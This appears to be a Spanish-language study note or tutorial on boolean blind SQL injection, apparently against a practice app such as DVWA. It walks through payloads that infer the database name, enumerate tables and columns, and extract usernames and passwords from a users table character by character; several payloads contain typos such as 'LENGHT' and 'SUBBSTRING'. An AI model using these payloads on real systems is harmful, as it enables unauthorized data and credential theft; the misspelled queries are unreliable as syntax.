# BOOLEAN BLIND SQLI

## **DETERMINAR EL NOMBRE DE LA BASE DE DATOS CON BOOLEAN BLIND SQL INJECTION**

En este caso, al poner una comilla simple (') la web no me da error, por lo que no puedo saber si me encuentro ante un SQL Injection.

&#x20;**1.** Comprobamos el funcionamiento normal de la aplicacion. Este es el valor TRUE. Si la página no responde o da error, ese será el valor FALSE

&#x20;**2.** Para comprobar si es vulnerable a SQL Injection, lanzo un valor valido y una declaracion Verdadera o, al reves, un valor invalido O una declaracion verdadera.

&#x20;**`1 ' AND 1=1 -- -`**

&#x20;**`0 ' OR 1=1 -- -`**

&#x20;**3.** El problema es que el resultado de la llamada no es visible por lo que va a llevar mucho mas tiempo obtener la informacion necesaria. Existen 3 metodos:

### &#x20;**1 Adivinar la base de datos**

&#x20;Es el mas complicado ya que debemos saber el nombre de la base de datos o imaginarlo.

&#x20;**1.** Vamos a determinar la longitud del nombre de la base de datos:

&#x20;**`1 ' AND LENGHT(database())=10 -- -`**

&#x20;Como 1 es TRUE, si me da FALSE es que la longitud no es 10. Probamos hasta que obtenemos el numero que corresponde. (4 por ejemplo)

**2.** Ahora que sabemos que tiene 4 caracteres, hay que adivinar cual es esa palabra de 4 caracteres.

&#x20;**`1 ‘ AND SUBSTRING(database(),1,4) = ’root' -- -`**

&#x20;Si pruebo con root y me da FALSE es que no es esa la string que buscamos. Si da TRUE, vamos bien, esa es la Base de Datos que Buscamos.

### &#x20;**2 Adivinar letra por letra**

&#x20;De esta manera solo vamos a necesitar reiterar hasta conseguir sacar el nombre de la base de datos, pero es 100% efectivo:

&#x20;**`1 ‘ AND SUBSTRING(database(),1,1) = ’a' -- -`**

&#x20;Habria que enviar ese PAYLOAD pasando por todas las letras del abecedario hasta que nos da TRUE. (primera letra = d)

&#x20;**`1 ‘ AND SUBBSTRING(database(),2,1) = ’a' -- -`** (segunda letra = v)

&#x20;**`1 ‘ AND SUBBSTRING(database(),3,1) = ’a' -- -`** (tercera letra = w)

&#x20;**`1 ‘ AND SUBBSTRING(database(),4,1) = ’a' -- -`** (cuarta letra = a)

### &#x20;**3 Analizar el valor de la tabla ASCII de la base de datos**

&#x20;Este es el metodo mas rapido y sencillo para llegar a nuestro objetivo:

&#x20;**`1 ' AND ASCII(SUBSTRING(database(),1,1)) >= 65 AND 1 ' AND ASCII(SUBSTRING(database(),1,1)) <= 122 -- -`**

&#x20;Voy reduciendo el rango hasta que vaya dando con la letra correcta. Utilizo prueba y error hasta que dejo un rango muy estrecho para empezar a comparar con iguales.

&#x20;Hacemos lo mismo con el resto de letras y obtenemos el nombre de la Base de Datos.

## &#x20;**DETERMINAR LAS TABLAS CON BOOLEAN BLIND SQL INJECTION**

&#x20;Si recordamos de antes, las tablas las podiamos obtener en un SQL injection de la siguiente manera:

&#x20;**`SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1`**

&#x20;El anterior Query nos permite obtener el segundo resultado de las tablas de la database()

&#x20;Pero ahora lo tengo que obtener analizando los valores ASCII, por tanto, tengo que hacer lo siguiente:

&#x20;**`1 ' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1,1) > 10`**

&#x20;De esta manera analizo los valores de la primera letra de la TABLA hasta que lo consigo y asi sucesivamente.

## &#x20;**DETERMINAR LAS COLUMNAS CON BOOLEAN BLIND SQL INJECTION**

&#x20;De la misma manera que hemos hecho antes, monto el PAYLOAD para obtener las letras de la columna.

**`1 ‘ AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' limit 3,1),1,1) > 10`**

&#x20;Esto se vuelve muy laborioso si no sabemos cual es la estructura de la tabla y no sabemos cual es la columna que queremos.

&#x20;con limit 3,1 obtenemos la columna 4 de la tabla.

## &#x20;**EXTRAER DATOS DE LA BASE DE DATOS CON BOOLEAN BLIND SQL INJECTION**

&#x20;Por ultimo, ya solo quedaria obtener los datos de las columnas.

&#x20;**`1 ‘ AND ASCII(SUBSTRING((SELECT user FROM users limit 0,1),1,1) > 10`**

&#x20;Ya con todos los datos, solo intentamos sacar el primer CAMPO de la COLUMNA user de la TABLA users

&#x20;Como ya hemos hecho con todos los anteriores, toca hacer trabajo de chino extrayendo letra por letra el user.

&#x20;**`1 ‘ AND ASCII(SUBSTRING((SELECT password FROM users limit 0,1),1,1) > 10`**

&#x20;Despues habria que hacer lo mismo para obtener los datos de la password.
